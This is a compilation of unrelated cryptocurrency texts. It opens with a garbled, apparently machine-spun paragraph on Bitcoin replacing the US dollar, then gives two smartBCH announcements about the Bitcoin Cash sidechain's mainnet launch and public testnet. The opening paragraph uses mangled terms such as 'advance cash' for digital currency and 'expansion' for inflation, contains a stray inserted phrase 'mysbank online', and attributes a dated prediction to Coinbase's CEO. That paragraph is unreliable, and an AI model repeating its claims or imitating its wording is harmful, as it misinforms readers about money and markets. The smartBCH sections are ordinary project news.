Also, that’s it! The method of trade coins for cash exchanging US Dollar (USD) for Bitcoin (BTC) is simpler than you expected, and you will now be able to update these means for your next exchange. Could Bitcoin replace the US dollar while the world saves money? As Coinbase Co-Founder / CEO Brian Armstrong noted, the appropriate answer is yes. He predicted that advance cash will nullify the dollar by 2030. However, to achieve this milestone, Bitcoin needs to overcome some hurdles. For something like cash to work, it must be a successful method of trading. As such, different individuals, organizations, and associations must have the option to substitute them for products and projects. The US dollar has stabilized positively in this regard, as it is one of the most widely used forms of fiat currencies in the world. Bitcoin, which has been around since 2009, has yet to reach this milestone.

One of the main issues that sabotage Bitcoin’s use as a trading mechanism mysbank online is its unusual instability. One case of this occurred in 2017, when the cost of advanced cash jumped nearly 2,000 percent, from less than $ 975 to nearly $ 20,000. This sharp custom may be unusual for financial professionals, but the way Bitcoin confronts such an exceptional value is fading. It reduces its use as a trading medium, which is a necessary key component for it to operate successfully as money.

The US dollar is losing a modest amount of its purchasing power every year due to expansion. However, this occurs gradually so that market members do not see the difference. While Bitcoin fluctuations are undoubtedly more dangerous, Armstrong has claimed that the difficulty will resolve itself.
Bitcoin Cash’s sidechain, smartBCH, is launching with support from BCH community and miners
Tags: Smartbch, Sidechains, Scalability, Bitcoincash, Layer 2

Bitcoin Cash’s sidechain, smartBCH, is launching with support from BCH community and miners smartBCH Jul 31·3 min read

We are pleased to announce that we have launched smartBCH successfully on July 30th, 2021 with three nodes as the genesis validators: BTC.com, ViaBTC, and Matrixport. smartBCH is now in its first voting period. More validators will be elected by sha256 miners and will take on the duty in the future. We appreciate all the help from the BCH community!

We have spent two more months in development than the original estimation to finalize the data structure of MoeingADS and to implement SEP101, SEP206, and Transaction Reorder onto smartBCH.

MoeingADS is the underlying storage engine for the world state, which is very hard to change in hard forks. Ethereum’s underlying storage engine MPT has never modified its data structure since the beginning. MoeingADS is now strong enough to support 51K TPS and can support smartBCH’s growth for many years without changing its primary data structure.

Innovation is the key mission of smartBCH. Its innovation is not only in the underlying storage and execution engines but also in the high-level semantics. Two new features, SEP101 (Store values with arbitrary length) and SEP206 (Manipulate Native Token as a SEP20 Token) were included ever since the genesis of smartBCH because they enhance EVM’s functionality and greatly eases DApp developers’ work. Also, to alleviate front-running, smartBCH reorders the transactions pseudo-randomly to prevent validators from ordering transactions in some profitable way.

In the next several months, our team will focus on the cross-chain gateway and cooperate with the community to continue building on smartBCH’s ecosystem.

In the past few weeks, many cross-chain bridge projects underwent exploits and suffered from massive loss of coins. Because of these events, we decided to redesign the cross-chain gateway between BCH and smartBCH. It will take security as the priority and be audited by the community.

Bitcoin Cash is a decentralized community and we are just a small team within it. We are not in control of the schedule of any browsers, wallets, DApps, and exchanges. However, it is encouraging to see that there are already several parties developing these indispensable elements for smartBCH. We’ll provide enough supports to them to enrich smartBCH’s ecosystem.

The launch is a solid step in smartBCH’s long journey. We invite everybody from the BCH community to use it and help its growth. We’ll soon provide some guides for BCH holders to try it and transfer a limited amount of coins cross-chain through the current simple gateway.
Testnet for smartBCH, a Bitcoin Cash Layer-2 Project, Is Now Public
Tags: Sidechains, Bch, Bitcoincash, Layer 2, Defi

We are really excited to announce that, as of today, the smartBCH testnet is now live. Developers and DApp builders can now find the testnet information at https://docs.smartbch.org/smartbch/testnets. The testnet will allow anyone to experiment with and develop for a high-performance, EVM-compatible Bitcoin Cash sidechain.

We know the Bitcoin Cash community has been eagerly awaiting the release of the smartBCH testnet and interest has grown daily. Our telegram channel alone boasted hundreds of members even before the first single-node test version was released. The abilities of smartBCH, while still untested on a live public chain, are promising. Mark Lamb, CEO of CoinFLEX, has had his dev team running a private testnet of smartBCH. Lamb reported, “Metamask is connecting without issue, and solidity code is working well. We set up a DEX on our private testnet, created tokens…and it’s all going smoothly.”

There has been a huge surge of interest in “Ethereum killers” lately due to extreme congestion and high fees on Ethereum. Users and developers have flocked to other blockchains like BSC, Polkadot, and EOS. Even these alternative smart contract platforms have seen gas fees go higher due to market demand. SmartBCH is poised to take away some of the market share for DApps and DeFi by using novel attempts to scale far past what previous blockchains have managed to achieve.

smartBCH is a first-of-its-kind sidechain for Bitcoin Cash, launched by our dev team which has been in blockchain development since 2016. Bitcoin Cash has spent nearly its entire history as a top-10 coin by market capitalization. It enjoys relatively high liquidity, merchant adoption, and an enthusiastic and engaged community. Bitcoin Cash itself is not specifically equipped for smart contracting functions, preferring use cases centered around peer-to-peer cash. However, as a sidechain to Bitcoin Cash, smartBCH aims to build a new playground for the Bitcoin Cash ecosystem and enlarge the userbase. SmartBCH is EVM & Web3 compatible and has a short block interval to support DeFi applications. Its throughput will be as large as one billion gas every 15 seconds to allow more users to access DeFi at a very low cost.

With years of experience developing hardware and software solutions in the blockchain industry backing us up, we are pleased to announce the testnet is live and we welcome everyone to test its functionality. “SmartBCH provides an EVM & Web3 compatible sidechain for Bitcoin Cash, staking its hash power while utilizing BCH as the native gas-paying token. What’s more, by incorporating hardware-friendly components, vastly increased scalability is unlocked,” said Kui Wang, lead developer of smartBCH. “We believe that smartBCH will provide the same benefits as ETH2.0 in a much shorter time frame, achieving a block gas limit of one billion.”

For more information, please visit the official website: https://smartbch.org